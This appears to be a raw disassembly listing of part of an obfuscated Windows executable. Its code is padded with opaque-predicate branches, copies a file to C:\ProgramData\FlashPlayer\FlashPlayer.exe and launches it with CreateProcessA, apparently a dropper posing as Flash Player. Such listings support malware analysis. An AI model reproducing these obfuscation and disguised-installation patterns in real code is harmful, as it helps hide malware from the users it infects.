lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008f4e
jmp 0x140008f1c
cmp dword [0x1400c35c0], 0xa
jl 0x140008e65
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008e65
jmp 0x140008e63
sub rsp, 0x20
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0x140]
call fcn.1400012d0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008ea3
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008ea3
jmp 0x140008ea1
sub rsp, 0x20
mov rcx, qword [rbp + 0xe8]
call fcn.140001f00
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov eax, dword [0x1400c35c0]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008f64
test ecx, ecx
je 0x140008f64
mov rsi, qword [rbp + 0xe8]
sub rsp, 0x20
mov rcx, rsi
call fcn.140001f00
mov rcx, rsi
call fcn.140001f00
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov eax, dword [0x1400c35c0]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008f64
test ecx, ecx
jne 0x140008ee4
jmp 0x140008f64
sub rsp, 0x20
mov rcx, qword [rbp + 0xf0]
call fcn.140001f00
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov eax, dword [0x1400c35c0]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008f64
test ecx, ecx
je 0x140008f64
sub rsp, 0x20
mov rcx, qword [rbp + 0xf0]
call fcn.140001f00
add rsp, 0x20
jmp 0x140008f1c
cmp eax, 0xa
jl 0x140008f6f
test ecx, ecx
je 0x140008f6f
jmp 0x140008f6d
sub rsp, 0x20
mov rsi, qword [rbp + 0xe0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.C:_ProgramData_FlashPlayer_
mov r8d, 0x1b
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008fbf
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008fbf
jmp 0x140008fbd
cmp dword [0x1400c35c0], 0xa
jl 0x140008fdb
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008fdb
jmp 0x140008fd9
sub rsp, 0x20
mov rcx, qword [rbp + 0x140]
mov rdx, qword [rbp + 0xe0]
call fcn.140002b30
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140009012
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140009012
jmp 0x140009010
mov rdi, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rdi
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
mov edx, 0x7d0
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x1400090a9
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400090a9
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rdi
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
mov edx, 0x7d0
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
jmp 0x140009020
sub rsp, 0x20
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x140]
xor r8d, r8d
call fcn.140003ab0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x1400090e0
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400090e0
jmp 0x1400090de
sub rsp, 0x20
mov rcx, qword [rbp + 0x48]
call fcn.14000b230
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x14000910d
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140009138
jmp 0x14000910d
sub rsp, 0x20
mov rcx, qword [rbp + 0x48]
call fcn.140003b30
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x14000914b
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000914b
sub rsp, 0x20
mov rcx, qword [rbp + 0x48]
call fcn.140003b30
add rsp, 0x20
jmp 0x14000910d
sub rsp, 0x20
mov rsi, qword [rbp + 0x138]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.C:ProgramDataFlashPlayerFlashPlayer.exe
mov r8d, 0x2a
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x14000919b
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000919b
jmp 0x140009199
cmp dword [0x1400c35c0], 0xa
jl 0x1400091bb
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000926d
jmp 0x1400091bb
xorps xmm0, xmm0
mov rax, qword [rbp - 0x30]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x60], 0
mov dword [rax], 0x68
mov rax, qword [rbp - 0x28]
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov rdx, qword [rbp + 0x138]
cmp qword [rdx + 0x18], 0x10
jb 0x14000920e
mov rax, qword [rbp + 0x138]
mov rdx, qword [rax]
sub rsp, 0x50
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
cmp dword [0x1400c35c0], 0xa
jl 0x140009302
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140009302
xorps xmm0, xmm0
mov rax, qword [rbp - 0x30]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 0x60], 0
mov dword [rax], 0x68
mov rax, qword [rbp - 0x28]
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov rdx, qword [rbp + 0x138]
cmp qword [rdx + 0x18], 0x10
jb 0x1400092c0
mov rax, qword [rbp + 0x138]
mov rdx, qword [rax]
sub rsp, 0x50
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
jmp 0x1400091bb
test eax, eax
jne 0x140009684
mov rsi, qword [rbp + 0x130]
add rsi, 0x10
sub rsp, 0x20
mov rcx, qword [rbp + 0x138]
call fcn.140001f00
mov rcx, qword [rbp + 0xe0]
call fcn.140001f00
mov rcx, qword [rbp + 0x140]
call fcn.140001f00
mov rcx, qword [rbp + 0xd8]
call fcn.140001f00
mov rcx, qword [rbp + 0x40]
call fcn.140001f00
mov rcx, qword [rbp + 0x38]
call fcn.140001f00
mov rcx, qword [rbp + 0x118]
call fcn.140001f00
mov rcx, qword [rbp + 0xd0]
call fcn.140001f00
mov rcx, qword [rbp + 0xc8]
call fcn.140001f00
mov rcx, qword [rbp + 0xc0]
call fcn.140001f00
mov rcx, qword [rbp + 0xb8]
call fcn.140001f00
mov rcx, qword [rbp + 0xb0]
call fcn.140001f00
mov rcx, qword [rbp + 0x110]
call fcn.140003b30
mov rcx, qword [rbp + 0x160]
call fcn.140001f00
add rsp, 0x20
cmp dword [0x1400c3440], 0xa
jl 0x1400093dd
mov eax, dword [0x1400c3444]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140009690
sub rsp, 0x20
mov rcx, rsi
call fcn.140022240
mov rcx, qword [rbp + 0x130]
call fcn.14002dc50
add rsp, 0x20
cmp dword [0x1400c3440], 0xa
jl 0x14000943b
mov eax, dword [0x1400c3444]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000943b
sub rsp, 0x20
mov rcx, rsi
call fcn.140022240
mov rdi, qword [rbp + 0x130]
mov rcx, rdi
call fcn.14002dc50
mov rcx, rsi
call fcn.140022240
mov rcx, rdi
jmp 0x1400093f0
sub rsp, 0x20
mov rcx, qword [rbp + 0xa8]
call fcn.140002700
mov rcx, qword [rbp + 0x30]
call fcn.140001f00
mov rcx, qword [rbp + 0x28]
call fcn.140001f00
mov rcx, qword [rbp + 0x20]
call fcn.140001f00
mov rcx, qword [rbp + 0x18]
call fcn.140001f00
mov rcx, qword [rbp + 0xa0]
call fcn.140001f00
mov rcx, qword [rbp + 0x98]
call fcn.140001f00
mov rcx, qword [rbp + 0x90]
call fcn.140001f00
mov rcx, qword [rbp + 0x88]
call fcn.140001f00
mov rcx, qword [rbp + 0x80]
call fcn.140001f00
add rsp, 0x20
xor eax, eax
mov qword [rbp - 0x38], rax
cmp dword [0x1400c35c0], 0xa
jl 0x140007847
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
mov rdi, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x100]
je 0x140007855
sub rsp, 0x20
mov rcx, qword [rbp + 0x138]
call fcn.140001f00
mov rcx, qword [rbp + 0xe0]
call fcn.140001f00
mov rcx, qword [rbp + 0x140]
call fcn.140001f00
mov rcx, qword [rbp + 0xd8]
call fcn.140001f00
mov rcx, qword [rbp + 0x40]
call fcn.140001f00
mov rcx, qword [rbp + 0x38]
call fcn.140001f00
mov rcx, qword [rbp + 0x118]
call fcn.140001f00
mov rcx, qword [rbp + 0xd0]
call fcn.140001f00
mov rcx, qword [rbp + 0xc8]
call fcn.140001f00
mov rcx, qword [rbp + 0xc0]
call fcn.140001f00
mov rcx, qword [rbp + 0xb8]
call fcn.140001f00
mov rcx, qword [rbp + 0xb0]
call fcn.140001f00
mov rcx, qword [rbp + 0x110]
call fcn.140003b30
mov rcx, qword [rbp + 0x160]
call fcn.140001f00
add rsp, 0x20
cmp dword [0x1400c3440], 0xa
jl 0x1400095ad
mov eax, dword [0x1400c3444]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140009692
sub rsp, 0x20
mov rcx, rsi
call fcn.140022240
mov rcx, qword [rbp + 0x130]
call fcn.14002dc50
add rsp, 0x20
cmp dword [0x1400c3440], 0xa
jl 0x14000960b
mov eax, dword [0x1400c3444]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000960b
sub rsp, 0x20
mov rcx, rsi
call fcn.140022240
mov rdi, qword [rbp + 0x130]
mov rcx, rdi
call fcn.14002dc50
mov rcx, rsi
call fcn.140022240
mov rcx, rdi
jmp 0x1400095c0
sub rsp, 0x20
mov rcx, qword [rbp + 0xa8]
call fcn.140002700
mov rcx, qword [rbp + 0x30]
call fcn.140001f00
mov rcx, qword [rbp + 0x28]
call fcn.140001f00
mov rcx, qword [rbp + 0x20]
call fcn.140001f00
mov rcx, qword [rbp + 0x18]
call fcn.140001f00
mov rcx, qword [rbp + 0xa0]
call fcn.140001f00
mov rcx, qword [rbp + 0x98]
call fcn.140001f00
mov rcx, qword [rbp + 0x90]
call fcn.140001f00
mov rcx, qword [rbp + 0x88]
call fcn.140001f00
mov rcx, qword [rbp + 0x80]
call fcn.140001f00
add rsp, 0x20
jmp 0x140009315
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x140009690
jmp 0x140009692
lea rsi, [rdi + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
cmp eax, 0xa
jl 0x140007a6f
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140007a6f
lea rsi, [rdi + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
jmp 0x140009694